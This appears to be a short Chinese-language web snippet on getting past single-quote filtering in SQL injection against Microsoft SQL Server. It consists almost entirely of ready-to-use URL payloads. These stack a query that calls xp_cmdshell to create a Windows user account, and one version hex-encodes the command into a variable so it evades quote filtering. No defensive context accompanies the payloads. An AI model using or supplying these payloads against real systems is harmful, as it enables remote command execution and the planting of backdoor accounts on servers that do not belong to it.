SQL注入中绕过 单引号 限制继续注入

复制代码 代码如下:

?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

复制代码 代码如下:

?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

复制代码 代码如下:

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

复制代码 代码如下:

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a